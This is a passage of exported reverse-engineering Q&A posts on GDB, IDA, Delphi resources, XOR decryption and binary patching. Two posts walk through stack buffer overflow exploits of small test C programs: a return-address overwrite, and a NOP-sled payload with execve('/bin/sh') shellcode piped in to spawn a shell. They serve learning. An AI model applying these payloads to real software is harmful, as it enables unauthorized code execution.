        "Answer": "<p>As complementary answer, BIOS used to be written in assembler (now is mostly ANSI C code) which compiles to</p>\n\n<p>a) Machine code for old architectures (in the past, like PC IBM; which was actually written in assembler according to <a href=\"https://sites.google.com/site/pcdosretro/ibmpcbios\" rel=\"nofollow\">https://sites.google.com/site/pcdosretro/ibmpcbios</a> and an old book from Gottfried in Assembler for PC IBM).</p>\n\n<p>b) UEFI bytecode for EFI currently (BIOS replacement).</p>\n\n<p>As evidence, have a look at <a href=\"https://en.wikipedia.org/wiki/Coreboot\" rel=\"nofollow\">https://en.wikipedia.org/wiki/Coreboot</a> &amp; <a href=\"http://review.coreboot.org/gitweb?p=coreboot.git;a=tree\" rel=\"nofollow\">http://review.coreboot.org/gitweb?p=coreboot.git;a=tree</a></p>\n\n<p>(Notice there are several other open source efforts on BIOS/EFI replacements).</p>\n\n<p>UEFI Is an spec of a framework with several several layers, exposing among other things services, a shell console and an interpreter layer (for EFI byte code), the idea of abstracting \"BIOS\" away from machine code was to facilitate portability to other non x86 architectures (Itanium, ARM, etc)</p>\n\n<p>This is a good conceptual introduction on UEFI <a href=\"http://rads.stackoverflow.com/amzn/click/0974364908\" rel=\"nofollow\">http://www.amazon.com/Beyond-Bios-Implementing-Extensible-Interface/dp/0974364908/ref=sr_1_2?ie=UTF8&amp;qid=1452724127&amp;sr=8-2&amp;keywords=efi+bios</a></p>\n\n<p>PS. In one company I used to work, I actually had access to the BIOS/EFI code base.</p>\n"
    },
    {
        "Id": "11002",
        "CreationDate": "2015-09-30T16:28:47.430",
        "Body": "<p>I have an executable file I put together from an demo powerpc assembly program I whipped together.</p>\n\n<p>AssemblyProgram.s</p>\n\n<pre><code>.global _Start\n\n.text\n_Start:\n    addi 3, 0, 0xa\n    addi 4, 0, 0xb\n    addi 5, 0, 0xc\n    b .\n</code></pre>\n\n<p>All it does is load hex a, b, c into registers 3, 4, and 5. When I go to step through it in GDB, I am trying now to set a breakpoint on the instruction b . which is located at address 0x1000012 due to the linker script placement of the instructions.</p>\n\n<p>I can set the breakpoint no problem, but when try to continue I get an error. My example session is shown below:</p>\n\n<pre><code>(gdb) target sim\nConnected to the simulator.\n(gdb) load assem-ABCRegs-ppceabi-ex.elf \n(gdb) x /4i 0x1000000\n0x1000000 &lt;_Start&gt;: li      r3,10\n0x1000004 &lt;_Start+4&gt;:   li      r4,11\n0x1000008 &lt;_Start+8&gt;:   li      r5,12\n0x100000c &lt;_Start+12&gt;:  b       0x100000c &lt;_Start+12&gt;\n(gdb) b *0x1000000\nBreakpoint 1 at 0x1000000\n(gdb) run\nStarting program: /home/default/PPC-Baremetal-Base/assem-ABCRegs-ppceabi-ex.elf \n\nBreakpoint 1, 0x01000000 in _Start ()\n(gdb) si\n0x01000004 in _Start ()\n(gdb) b *0x1000012\nBreakpoint 2 at 0x1000012\n(gdb) c\nContinuing.\nWarning:\nCannot insert breakpoint 2.\nCannot access memory at address 0x1000012\n\n(gdb) si\nWarning:\nCannot insert breakpoint 2.\nCannot access memory at address 0x1000012\n\n(gdb) d 2\n(gdb) si\n0x01000008 in _Start ()\n(gdb) si\n0x0100000c in _Start ()\n(gdb) \n</code></pre>\n\n<p>This is a trivial program, but it is just a learning program. I want to be able to set a breakpoint on a real program and continue (not step) through the execution until my breakpoint is hit if ever. Is this possible if I am not able to recompile?</p>\n\n<p>EDIT:</p>\n\n<p>The above test run tries to set a breakpoint at the wrong locations (in the middle of an instruction. Below is a proper run.</p>\n\n<pre><code>(gdb) target sim\nConnected to the simulator.\n(gdb) load assem-ABCRegs-ppceabi-ex.elf\n(gdb) b *0x1000008\nBreakpoint 1 at 0x1000008\n(gdb) c\nStarting program: /home/default/PPC-Baremetal-Base/assem-ABCRegs-ppceabi-ex.elf \n\n0x1000000 in _Start ()\n</code></pre>\n",
        "Title": "How To Set Breakpoints On An Assembly Program Not Compiled With Debugging Symbols?",
        "Tags": "|assembly|gdb|",
        "Answer": "<p>Yes, you are able to debug programs without sources with <code>gdb</code>. You don;t need to recompile.</p>\n\n<p>The potential problem source is in miscalculation of breakpoint address:\naddress of your branch instruction is <code>0x100000c</code> and not <code>0x1000012</code>.\nThis may explain why you can not set a breakpoint: there is no any instruction in a place where you are trying to put a breakpoint.</p>\n"
    },
    {
        "Id": "11007",
        "CreationDate": "2015-10-01T10:54:54.717",
        "Body": "<p>Im trying to understand the execution flow from <code>user32.UnregisterUserApiHook</code> to the belonged System call : <code>NtUserUnregisterUserApiHook</code> if i am right.</p>\n\n<p>Currently i cant use Windbg (kernel debugger) to step through every call to see where i get.\nSo i try to use IDA .</p>\n\n<p>I have tryed the following things (with IDA):</p>\n\n<pre><code>    Locate KiFastCallEntry in ntoskrnl.exe : not found\n    Locate NtUserUnregisterUserApiHook in win32k.sys : not found\n</code></pre>\n\n<p>Question: how to get these functions listed <a href=\"http://j00ru.vexillium.org/win32k_syscalls/\" rel=\"nofollow\">here</a> displayed in to IDA ?</p>\n\n<p>Target OS is Windows 7 32 bit</p>\n",
        "Title": "How locate (NtUserUnregisterUserApiHook) function in win32k.sys with IDA",
        "Tags": "|ida|windows|system-call|",
        "Answer": "<pre><code>C:\\&gt;md win32k\nC:\\&gt;cd win32k\nC:\\win32k&gt;copy c:\\WINDOWS\\system32\\win32k.sys .\n        1 file(s) copied.\nC:\\win32k&gt;\"c:\\Program Files\\IDA Free\\idag.exe\" -B -A win32k.sys\n</code></pre>\n\n<p>wait till *.idb and *.asm is produced in the directory</p>\n\n<pre><code>C:\\win32k&gt;echo :redo &gt;wait.bat\nC:\\win32k&gt;echo if not exist *.idb (sleep 30 ^&amp; goto :redo) &gt;&gt; wait.bat\nC:\\win32k&gt;wait.bat\nC:\\win32k&gt;if not exist *.idb (sleep 50   &amp; goto :redo )\nC:\\win32k&gt;\n</code></pre>\n\n<p>search for the api in the generated asm file or reopen the idb in ida</p>\n\n<pre><code>C:\\win32k&gt;grep -i ntuserregisteruserapihook win32k.asm\n; __stdcall NtUserRegisterUserApiHook(x, x)\n_NtUserRegisterUserApiHook@8 proc near  ; DATA XREF: .data:BF99B3A4\u2193o\n_NtUserRegisterUserApiHook@8 endp\n__RegisterUserApiHook@8 proc near       ; CODE XREF: NtUserRegisterUserApiHook(x\n,x)+11\u2191p\n                dd offset _NtUserRegisterUserApiHook@8 ; NtUserRegisterUserApiHo\nok(x,x)\n\nC:\\win32k&gt; \n</code></pre>\n"
    },
    {
        "Id": "11015",
        "CreationDate": "2015-10-03T17:21:45.270",
        "Body": "<p>Is it possible to retrieve .dfm file from a delphi executable. I have inherited Acrobyte projects(Indy Pity Crew) so before I reactivate the website(www.acrobyte.cf) every product must be in order. I have updated others except the three left. So since I have a software that converts .dfm to .pas I can update them. I have seen the software that extracts DFM data from a delphi executable, in form of .rc and .dat but I never been able to add a function that extract the whole DFM file.</p>\n\n<p>How can I extract the whole dfm file of an executable e.g( pet.exe to pet.dfm)?</p>\n\n<p>In other ways I would like to convert rc file to dfm.</p>\n\n<p>Thanks in advance</p>\n",
        "Title": "How to extract .dfm file from a delphi executable?",
        "Tags": "|delphi|",
        "Answer": "<p>Interactive Delphi Reconstructor can save text representation of form. Simply click right button on text representation and copy it to clipboard. Also You can try to save file as Delphi Project for all dfm-files in project.</p>\n"
    },
    {
        "Id": "11020",
        "CreationDate": "2015-10-04T15:21:58.523",
        "Body": "<p>I understand the principles of exploiting a classical stack-based buffer-overflow, and now I want to practice it. Therefore I wrote the following test-application:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n\nvoid public(char *args) {\n    char buff[12];\n    memset(buff, 'B', sizeof(buff));\n\n    strcpy(buff, args);\n    printf(\"\\nbuff: [%s] (%p)(%d)\\n\\n\", &amp;buff, buff, sizeof(buff));\n}\n\nvoid secret(void) {\n    printf(\"SECRET\\n\");\n    exit(0);\n}\n\nint main(int argc, char *argv[]) {\n    int uid;\n    uid = getuid();\n\n    // Only when the user is root\n    if (uid == 0)\n        secret();\n\n    if (argc &gt; 1) {\n        public(argv[1]);\n    }\n    else\n        printf(\"Kein Argument!\\n\");\n}\n</code></pre>\n\n<p>When the user which starts the program is <em>root</em>, the method <code>secret()</code> is being called, <em>otherwise</em>, the method <code>public(...)</code> is being called.\nI am using debian-gnome x64, so I had to compile it specifically to x86 to get x86-assembly (which I know better than x64).\nI compiled the program with gcc: <code>gcc ret.c -o ret -m32 -g -fno-stack-protector</code></p>\n\n<hr>\n\n<p><strong>Target:</strong>\nI want to call the method <code>secret()</code> without being a <em>root-user</em>. <em>{To do that I have to overwrite the <code>R</code>eturn <code>I</code>nstruction <code>P</code>ointer (<code>RIP</code>) with the address of the function <code>secret()</code>}</em></p>\n\n<p><strong>Vulnerability:</strong>\nThe method <code>public(...)</code> copies the program-args with the unsafe <code>strcpy()</code> method into the <code>char-array</code> <strong>buff</strong>. So it is possible to overwrite data on the stack, when the user starts the program with an <em>arg > 11</em>, where <em>arg</em> should be the length of the string-arg.</p>\n\n<p><strong>Required Information:</strong></p>\n\n<ul>\n<li>The address of the function <code>secret()</code>.</li>\n<li>The address of the first buffer's first element. Due to <code>ASCII</code>-Encoding I know that each <code>char</code> has a size of <code>1 byte</code>, so that the buffer's last element is <code>12 bytes</code> ahead the first element.</li>\n<li>The address of the <code>RIP</code>, because I have to overwrite it <code>secret()</code>s address.</li>\n<li><em>OPTIONAL: It also helps to know the address of the <code>S</code>afed <code>F</code>rame <code>P</code>ointer (<code>SFP</code>).</em></li>\n</ul>\n\n<p><strong>Methodical approach:</strong></p>\n\n<ul>\n<li>Load the program into <code>gdb</code>: <code>gdb -q ret</code>.</li>\n<li>To get an overview of the full stack-frame of the method <code>public(...)</code> I have to set a breakpoint there, where the <code>function-epilogue</code> starts. This is at the enclosing brace <code>}</code> at line <code>11</code>.</li>\n<li>Now I have to run the program with a valid arg: <code>run A</code>.</li>\n<li><p>At the breakpoint, I now want to view the stack-frame.</p>\n\n<pre><code>(gdb) info frame 0\nStack frame at 0xffffd2f0:\n eip = 0x804852d in public (ret.c:11); saved eip = 0x804858c\n called by frame at 0xffffd330\n source language c.\n Arglist at 0xffffd2e8, args: args=0xffffd575 \"A\"\n Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0\n Saved registers:\n  ebp at 0xffffd2e8, eip at 0xffffd2ec\n</code></pre>\n\n<p>Because from that I can gather the following information:</p>\n\n<ul>\n<li>The <code>RIP</code> is located at <code>0xffffd2ec</code> and contains the address <code>0x804858c</code> which contains the instruction <code>0x804858c &lt;main+61&gt;: add    $0x10,%esp</code>.</li>\n<li>The <code>SFP</code> is located at <code>0xffffd2e8</code>.</li>\n<li><p>Now I need the address, where the <code>secret()</code>-function starts:</p>\n\n<p>(gdb) print secret\n$2 = {void (void)} 0x804852f </p></li>\n</ul></li>\n<li><p>Last, but not least I get the buffer's address:</p>\n\n<pre><code>(gdb) print/x &amp;buff\n$4 = 0xffffd2d4\n</code></pre></li>\n<li><p>To sum it up:</p>\n\n<ul>\n<li><code>RIP</code> is at <code>0xffffd2ec</code>.</li>\n<li><code>SFP</code> is at <code>0xffffd2e8</code>.</li>\n<li><code>buff</code> is at <code>0xffffd2d4</code>.</li>\n</ul></li>\n</ul>\n\n<p>This means that I would have to run the program with <code>0xffffd2ec</code> - <code>0xffffd2d4</code> + <code>0x04</code> = <code>28 bytes</code> (= <code>char</code>s).</p>\n\n<p>So, to exploit it I'd have to run the program with an arg which is <code>28 bytes</code> long whereas the last <code>4 bytes</code> contain the address of the function <code>secret()</code> (and pay attention to little-endian-ordering):</p>\n\n<pre><code>(gdb) run `perl -e '{print \"A\"x24; print \"\\xec\\d2\\ff\\ff\"; }'`\nThe program being debugged has been started already.\nStart it from the beginning? (y or n) y\n\nStarting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print \"A\"x24; print \"\\xec\\d2\\ff\\ff\"; }'`\n\nbuff: [AAAAAAAAAAAAAAAAAAAAAAAA\ufffdd2\n                                  f\n                                   f] (0xffffd2b4)(12)\n\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x0c3264ec in ?? ()\n</code></pre>\n\n<p>Two questions are rising up:</p>\n\n<ul>\n<li><p>Why is it not working. This example is basically from an older book I'm reading. But theoretically it should work so I think....</p></li>\n<li><p>Why is between <code>buff</code> and the <code>SFP</code> a <code>8-byte</code> gap? What does this memory-area contain?</p></li>\n</ul>\n\n<p><strong>EDIT: <a href=\"https://drive.google.com/file/d/0BxV4F9km7MRVa0RKOGk5T3c2UVE/view?usp=sharing\" rel=\"noreferrer\">That's</a> a download-link to the binary.</strong></p>\n",
        "Title": "Writing an exploit for sample-application",
        "Tags": "|c++|gdb|c|exploit|stack|",
        "Answer": "<blockquote>\n  <ul>\n  <li>Why is it not working. This example is basically from an older book I'm reading. But theoretically it should work so I think....</li>\n  </ul>\n</blockquote>\n\n<p>It's because you're overwriting the return address on the stack with <code>0xffffd2ec</code> instead of <code>0x0804852f</code> (the latter is the address for <code>secret()</code>).</p>\n\n<p>If you thus use <code>'{print \"A\"x24; print \"\\x2f\\85\\04\\08\"; }'</code> instead, it should work.</p>\n\n<blockquote>\n  <ul>\n  <li>Why is between <code>buff</code> and the <code>SFP</code> a <code>8-byte</code> gap? What does this memory-area contain?</li>\n  </ul>\n</blockquote>\n\n<p>That gap is probably because of attempted optimizations made by gcc. The memory-area contains nothing (well, technically it contains 8 bytes whose values are indeterminate) and the code in the <code>public()</code> function neither reads from nor writes to that memory-area.</p>\n"
    },
    {
        "Id": "11022",
        "CreationDate": "2015-10-04T18:33:30.607",
        "Body": "<pre><code> 005A45A6 &gt; \\83FE 50 CMP ESI,50 ; Switch (cases 0..50) \n 005A45A9 0F87 79150000 JA AcroByte.005A5B28 \n 005A45AF . FF24B5 B6455A00 JMP DWORD PTR DS:[ESI*4+5A45B6]; AcroByte.005A46FA \n005A45B6 . FA465A00 DD AcroByte.005A46FA; Switch table used at 005A45AF \n 005A45BA . 51475A00 DD AcroByte.005A4751 \n 005A45BE . 7C475A00 DD      AcroByte.005A477C \n 005A45C2 . 8B475A00 DD AcroByte.005A478B \n 005A45C6 . 9A475A00 DD AcroByte.005A479A \n 005A45CA . A9475A00 DD AcroByte.005A47A9 \n 005A45CE . D4475A00 DD AcroByte.005A47D4 \n 005A45D2 . ED475A00 DD AcroByte.005A47ED \n 005A45D6 . 06485A00 DD AcroByte.005A4806 \n 005A45DA . 4B485A00 DD AcroByte.005A484B \n 005A45DE . E8485A00 DD AcroByte.005A48E8 \n 005A45E2 . 3A495A00 DD AcroByte.005A493A \n 005A45E6 . 8E495A00 DD AcroByte.005A498E \n 005A45EA . 9A495A00 DD AcroByte.005A499A \n 005A45EE . E1495A00 DD AcroByte.005A49E1 \n 005A45F2 . 174A5A00 DD AcroByte.005A4A17 \n 005A45F6 . 594A5A00 DD AcroByte.005A4A59 \n 005A45FA . A34A5A00 DD AcroByte.005A4AA3 \n</code></pre>\n\n<p>I need help on the above code, the JUMP at address 005A45AF is associated with 005A46FA.\nI want it to be associated to 005A4AA3.</p>\n\n<p>My question is can I modify  DS:[ESI*4+5A45B6] to [ESI*4+5A4AA3] or the (4 between ESI and Address) also needs to be changed.</p>\n\n<p>I really want to jump to 005A4AA3.</p>\n\n<p>Please help it's memory not hardware I am patching</p>\n",
        "Title": "How to modify Data Section of an exe(DD x000455)?",
        "Tags": "|memory|patch-reversing|",
        "Answer": "<blockquote>\n  <p>I really want to jump to 005A4AA3.</p>\n</blockquote>\n\n<p>Patch the bytes at virtual address <code>005A45AF</code> from <code>FF 24 B5 B6 45 5A 00</code> to <code>E9 EF 04 00 00 90 90</code>.</p>\n\n<blockquote>\n  <p>My question is can I modify DS:[ESI*4+5A45B6] to [ESI*4+5A4AA3]</p>\n</blockquote>\n\n<p>Yes, in which case you'd want to patch the bytes at virtual address <code>005A45AF</code> from <code>FF 24 B5 B6 45 5A 00</code> to <code>FF 24 B5 A3 4A 5A 00</code>.</p>\n"
    },
    {
        "Id": "11033",
        "CreationDate": "2015-10-06T00:35:43.403",
        "Body": "<p>I've a binary data files which are encrypted by a simple <a href=\"https://en.wikipedia.org/wiki/XOR_cipher\" rel=\"nofollow\">XOR cipher</a> using a given key at offset <code>+0x88</code> (which is <code>0x80</code> long), then the data (<code>+0x108</code>) is compressed by <code>lzo1x</code>.</p>\n\n<p>What would be the most efficient way of decrypting such files?</p>\n\n<p>Preferably by using some command-line utilities (where I can specify the input offsets) or some script (without too much coding)?</p>\n\n<p>What would be the right approach?</p>\n",
        "Title": "How to decrypt data in binary file by XOR operator using a given key at specific offset?",
        "Tags": "|linux|decryption|decompress|xor|command-line|",
        "Answer": "<p>Use <code>dd</code> to extract the data what you need, e.g. (using bash syntax):</p>\n\n<pre><code>dd if=foo.dat bs=1 skip=$((0x88)) count=$((0x80)) of=xorkey.bin\ndd if=foo.dat bs=1 skip=$((0x108)) of=data1.bin\n</code></pre>\n\n<p>Then convert it using simple Python code:</p>\n\n<pre><code>#!/usr/bin/env python3\n\ndef str_xor(data, key):\n    for i in range(len(data)):\n        data[i] ^= key[i % len(key)]\n    return data\n\nkey  = bytearray(open('xorkey.bin', 'rb').read())\ndata = bytearray(open('data1.bin',  'rb').read())\nencoded = str_xor(data, key)\nopen(\"data1.bin.xor\", \"wb\").write(encoded)\ndecoded = str_xor(data, key)\nopen(\"data1.bin.xor.xor\", \"wb\").write(decoded)\n</code></pre>\n\n<p>Then install <code>lzop</code> tool which offers compression/decompression of the LZO1X algorithms (install via: <code>apt-get</code>/<code>brew</code> <code>install lzop</code>), e.g.:</p>\n\n<pre><code>lzop -dc data1.bin.xor &gt; data1.out\n</code></pre>\n"
    },
    {
        "Id": "11042",
        "CreationDate": "2015-10-06T16:14:30.410",
        "Body": "<p>I am trying to get a shellcode, exploiting a C program with a <code>strcpy()</code> function.</p>\n\n<p>I have found out that I need 68 bytes to start writing on the <code>EIP</code>. So, if I write 72's by <code>EIP</code> register is <code>0x41414141</code>.</p>\n\n<p>What I want is to insert a 23 bytes shellcode for a x86 OS. So I know that I need this:</p>\n\n<ul>\n<li>68 A bytes - 23 shellcode bytes:  45 <code>NOPs</code>. </li>\n<li>23 bytes Shellcode.</li>\n<li>4 bytes for the <code>EIP</code> register, pointing the start of the shellcode.</li>\n</ul>\n\n<p>I don't know how to carry this out. This is my program:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nvoid cambiarEIP() {\n    printf(\"\\n Has cambiado el valor del EIP, enhorabuena\\n\");\n}\n\nint main(int argc, char * argv[]) {\n    char buf[64];\n\n    if(argc == 1) {\n        printf(\"Uso: %s entrada\\n\", argv[0]);\n        return -1;\n    }\n\n    strcpy(buf,argv[1]);\n    printf(\"%s\\n\", buf);\n\n    return 0;\n}\n</code></pre>\n\n<p>I want to insert this as a parameter: <code>45As+shellcode+EIP</code> DIR.</p>\n\n<p>This is what I get with the GDB when passing 71 bytes as a parameter:</p>\n\n<pre><code> Program received signal SIGSEGV, Segmentation fault.\n 0x00414141 in ?? ()\n</code></pre>\n\n<p>And those are my registers:</p>\n\n<pre><code>(gdb) i r\neax            0x0  0\necx            0xb7fbc4e0   -1208236832\nedx            0xb7fbd360   -1208233120\nebx            0xb7fbbff4   -1208238092\nesp            0xbffff4a0   0xbffff4a0\nebp            0x41414141   0x41414141\nesi            0x0  0\nedi            0x0  0\neip            0x414141 0x414141\neflags         0x10246  [ PF ZF IF RF ]\ncs             0x73 115\nss             0x7b 123\nds             0x7b 123\nes             0x7b 123\nfs             0x0  0\ngs             0x33 51\n</code></pre>\n\n<p>I know that I need something like this:</p>\n\n<pre><code>./shell \\x41\\*45 + \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\"\n          \"\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\" + Shellcode location\n</code></pre>\n\n<p>How to carry this out?</p>\n",
        "Title": "Strcpy BufferOverflow get shellcode location for EIP",
        "Tags": "|assembly|gdb|shellcode|register|",
        "Answer": "<blockquote>\n<p>68 A bytes - 23 shellcode bytes: 45 NOPs.</p>\n</blockquote>\n<p>NOP is the mnemonic that stands for No OPeration which is the byte \\x90, meaning that you'll have to change the A's (\\x41) for NOPs (\\x90), because \\x41 by itself it's not a valid ASM instruction in the x86 processor hence making your program crash.</p>\n<p>Taking this into account, first part goes like:</p>\n<pre><code>python -c 'print &quot;\\x90&quot;*45' &gt; payload.bin\n</code></pre>\n<blockquote>\n<p>23 bytes Shellcode</p>\n</blockquote>\n<p>This is self explanatory, just add your shellcode:</p>\n<pre><code>python -c 'print &quot;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80&quot;' &gt;&gt; payload.bin\n</code></pre>\n<blockquote>\n<p>4 bytes for the EIP register, pointing the start of the shellcode.</p>\n</blockquote>\n<h1>Here's the tricky part:</h1>\n<p>First ask yourself a few questions:</p>\n<ol>\n<li>Does the system have ASLR enabled?</li>\n<li>Does it have DEP enabled?</li>\n<li>NX?</li>\n</ol>\n<p><a href=\"https://security.stackexchange.com/questions/20497/stack-overflows-defeating-canaries-aslr-dep-nx\">Read this if the answer is that you don't know</a></p>\n<p>And if the answer to both of these is <strong>no</strong> then, continue to check into gdb the following</p>\n<ol>\n<li><a href=\"https://stackoverflow.com/questions/10483544/stopping-at-the-first-machine-code-instruction-in-gdb\">Set a breakpoint at program's entry point in gdb</a></li>\n<li>Step in gdb until you get to the call to strcpy (id est, when the overflow happens)</li>\n<li>Get the location of your <em>buf</em> variable in stack. We can do so by writing the next command in gdb since the Stack Pointer is pointing right at the beginning of <em>buf</em>\n<ul>\n<li><code>x/32xb $esp</code></li>\n</ul>\n</li>\n</ol>\n<p>Now that you have the location of your <em>buf</em> variable, which should be something in the form <code>0xbffff5f0</code>. Now get that memory position and add it to the end of your payload. You need this position in order to jump to the location of your <em>buf</em> variable and execute the shellcode in it...</p>\n<h1>But hold on!</h1>\n<p>You still have to take <a href=\"https://en.wikipedia.org/wiki/Endianness\" rel=\"nofollow noreferrer\">endianness</a> into account, which in your system is little endian.</p>\n<p>So you'll need to write that memory position in little endian which, if you are lazy like me, you'll end up <a href=\"https://github.com/n30m1nd/pyndianizer\" rel=\"nofollow noreferrer\">writing a script that makes it for you</a>:</p>\n<p><code>python pyndianizer.py 0xbffff5f0</code> ==&gt; <code>\\xf0\\xf5\\xff\\xbf</code></p>\n<p>Now, add it to your payload\n<code>python -c 'print &quot;\\xf0\\xf5\\xff\\xbf&quot;' &gt;&gt; payload.bin</code></p>\n<h1>And for the grand finale:</h1>\n<p><code>cat payload.bin | ./shell</code></p>\n<p>If everything was done well, just press a few enters and you'll have your shell.</p>\n<h1>Final note</h1>\n<p><em>Your shellcode runs <code>/bin/sh</code> but just running it doesn't work sometimes because the program ends just after running your shellcode. If so, you'll have to make it wait for user input after <code>cat</code>ing the shellcode in</em></p>\n"
    },
    {
        "Id": "11044",
        "CreationDate": "2015-10-06T18:06:52.613",
        "Body": "<p>I'm trying to automate  disassembly of a firmware image using IDA Pro 6.5 and IDA Python. One of the process I want to implement is to locate strings and create a data segment around them.</p>\n<p>Using the GUI, I have little issue doing so. However when using the <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/idautils.Strings.StringItem-class.html\" rel=\"nofollow noreferrer\"><code>idautils.Strings()</code></a> API call, I can retrieve a list of <code>StringItem</code> objects, but I fail to access the actual string data with <code>str()</code> or <code>unicode()</code>. Below is the failing function, which is taken from <a href=\"https://code.google.com/p/idapython/source/browse/trunk/examples/ex_strings.py?r=344\" rel=\"nofollow noreferrer\">IDA Python Google Code archive</a>:</p>\n<pre><code>def find_strings():\n    s = idautils.Strings(False)\n    s.setup(strtypes=Strings.STR_UNICODE | Strings.STR_C)\n    for i, v in enumerate(s):\n        if v is None:\n            print(&quot;Failed to retrieve string index %d&quot; % i)\n        else:\n            print(&quot;%x: len=%d type=%d index=%d-&gt; '%s'&quot; % (v.ea, v.length, v.type, i, str(v)))\n</code></pre>\n<p>When ran into IDA, the following error is reported:</p>\n<pre><code>Traceback (most recent call last):\n  File &quot;&lt;string&gt;&quot;, line 1, in &lt;module&gt;\n  File &quot;&lt;string&gt;&quot;, line 8, in find_strings\nTypeError: 'StringItem' object is not callable\n</code></pre>\n<p>When replacing the <code>str(v)</code> argument with the constant <code>aaa</code> in the <code>print</code> function, I get a list of <code>StringItem</code> objects without any problem:</p>\n<pre><code>Python&gt;find_strings()\n208e: len=8 type=3 index=0-&gt; 'aaa'\n21b0: len=55 type=0 index=1-&gt; 'aaa'\n229d: len=6 type=0 index=2-&gt; 'aaa'\n22c5: len=5 type=0 index=3-&gt; 'aaa'\n22d3: len=33 type=0 index=4-&gt; 'aaa'\n...\n</code></pre>\n<p>If I attempt to use the <code>unicode()</code> function instead, I get the following error:</p>\n<pre><code>Python&gt;find_strings()\n208e: len=8 type=3 index=0-&gt; '\nTraceback (most recent call last):\n  File &quot;&lt;string&gt;&quot;, line 1, in &lt;module&gt;\n  File &quot;&lt;string&gt;&quot;, line 8, in find_strings\nTypeError: coercing to Unicode: need string or buffer, NoneType found\n</code></pre>\n<p>From my understanding, it seems that the <code>StringItem</code> contains no strings for an unknown reason (or an issue with the plugin, specific version of Python maybe?), however they are displayed in the GUI.</p>\n<p>I'm seeking advice on either what I'm doing wrong, or an alternative way to extract the strings using the IDApython plugin. Thanks</p>\n<h2>Updates</h2>\n<p>The code above appears valid after adding the missing parenthesis as mentioned in the comments. However this was only a typo in the post and not the source of the issue. The <code>find_strings</code> worked fine in other typical binaries. Further proof is that by using the <code>idc.GetString(self.ea, self.length, self.type)</code> also returned <code>NoneType</code>.</p>\n<p>Diff mentioned that the <code>get_ascii_contents2</code> is failing and thus returning <code>null</code>, which is very likely the cause. What is unclear is why the function is failing, while the GUI succeeds in locating most of the strings.</p>\n<p>The first string at 0x208E is a trash Unicode string. The string at 0x21B0 is an actual ASCII string composed of 37 chars. I cannot post the complete string due to disclosure/legal issues. Notice that when displayed in the hex editor, the byte order of the ASCII view is inverted for an unknown reason. The bitness of the overall firmware is 16bit.</p>\n<p><code>434F 5059 5249 4748 5420 A920 ... 4544 2000 0000 : OCYPIRHG T \u00ac ... DE.</code></p>\n<p>Finally, note that the function <code>MakeStr</code> works without any issue. I have the following code, when used at 0x21B0, will successfully create a string within a data segment:</p>\n<pre><code>def create_string(self, _startea, _endea, _segname=&quot;.const&quot;, _unicode=False):\n        \n        if (SegStart(_startea) == idc.BADADDR):\n            self.create_data_segment(_startea, _endea, &quot;.const&quot;)\n        else:\n            segtype = GetSegmentAttr(_startea, SEGATTR_TYPE)\n            if (segtype != IDAEngine.SEG_TYPE_DATA):\n                DelSeg(_startea, 0)\n                self.create_data_segment(_startea, _endea, _segname)\n        \n        result = MakeStr(_startea, _endea)\n        if (result == IDAEngine.FAIL):\n            print &quot;[-] Failed to create a string at 0x{:x} to 0x{:x}.&quot;.format(_startea, _endea)\n</code></pre>\n<p>At this point, I believe the structure of the firmware is to blame (combination of bitness, lack of symbols and an obsolete but supported microprocessor), however I couldn't pinpoint the exact issue. For now, since I can use <code>find_strings()</code> to retrieve the offsets and then use <code>MakeStr</code> on strings with a certain length and the manually vetting the &quot;real&quot; strings.</p>\n<h2>Final Remarks</h2>\n<p>For posterity, I never really solved the issue, however I can confirm the underlying binary file was responsible for raising an exception in <code>get_ascii_contents2</code>. I've reloaded the same file, however as a raw binary file in one large segment and the function worked flawlessly.</p>\n",
        "Title": "IDAPython Strings constantly returns NoneType with str()",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>This took some digging, however it appears you're hitting an interesting edge case that the original author of the scripts didn't consider.</p>\n\n<p><code>str(StringItem)</code> calls the following code inside <a href=\"https://github.com/idapython/src/blob/0369202c370b9701cd2b2a46e63c2919bf0a7ba0/python/idautils.py#L509\" rel=\"nofollow\">idautils.py</a>;</p>\n\n<pre><code>    def __str__(self):\n        return self._toseq(False)\n</code></pre>\n\n<p>Which leads to <code>_toseq</code> in <a href=\"https://github.com/idapython/src/blob/0369202c370b9701cd2b2a46e63c2919bf0a7ba0/python/idautils.py#L496\" rel=\"nofollow\">idautils.py</a>;</p>\n\n<pre><code>    def _toseq(self, as_unicode):\n        if self.is_2_bytes_encoding():\n            conv = idaapi.ACFOPT_UTF16\n            pyenc = \"utf-16\"\n        elif self.is_4_bytes_encoding():\n            conv = idaapi.ACFOPT_UTF8\n            pyenc = \"utf-8\"\n        else:\n            conv = idaapi.ACFOPT_ASCII\n            pyenc = 'ascii'\n        strbytes = idaapi.get_ascii_contents2(self.ea, self.length, self.type, conv)\n        return unicode(strbytes, pyenc, 'replace') if as_unicode else strbytes\n</code></pre>\n\n<p>If we dig into the <code>get_ascii_contents2</code> inside <a href=\"https://github.com/idapython/src/blob/master/pywraps/py_bytes.hpp#L186\" rel=\"nofollow\">py_bytes.hpp</a> method we see that this method could actually return a <code>NoneType</code> if <code>get_ascii_contents2</code> fails;</p>\n\n<pre><code>if ( !get_ascii_contents2(ea, len, type, buf, len+1, &amp;used_size, flags) )\n{\n  qfree(buf);\n  Py_RETURN_NONE;\n}\n</code></pre>\n\n<p>Essentially, the code is fine, however you should add a check or exception handling if a <code>str(StringItem)</code> returns the with a <code>TypeNone</code> since it is possible for this type of value to be returned.</p>\n\n<p>You could help debug further by providing what the hex data is at <code>ea</code> of <code>0x208e</code> with the length of <code>8</code> as shown in your output;</p>\n\n<pre><code>208e: len=8 type=3 index=0-&gt;\n</code></pre>\n"
    },
    {
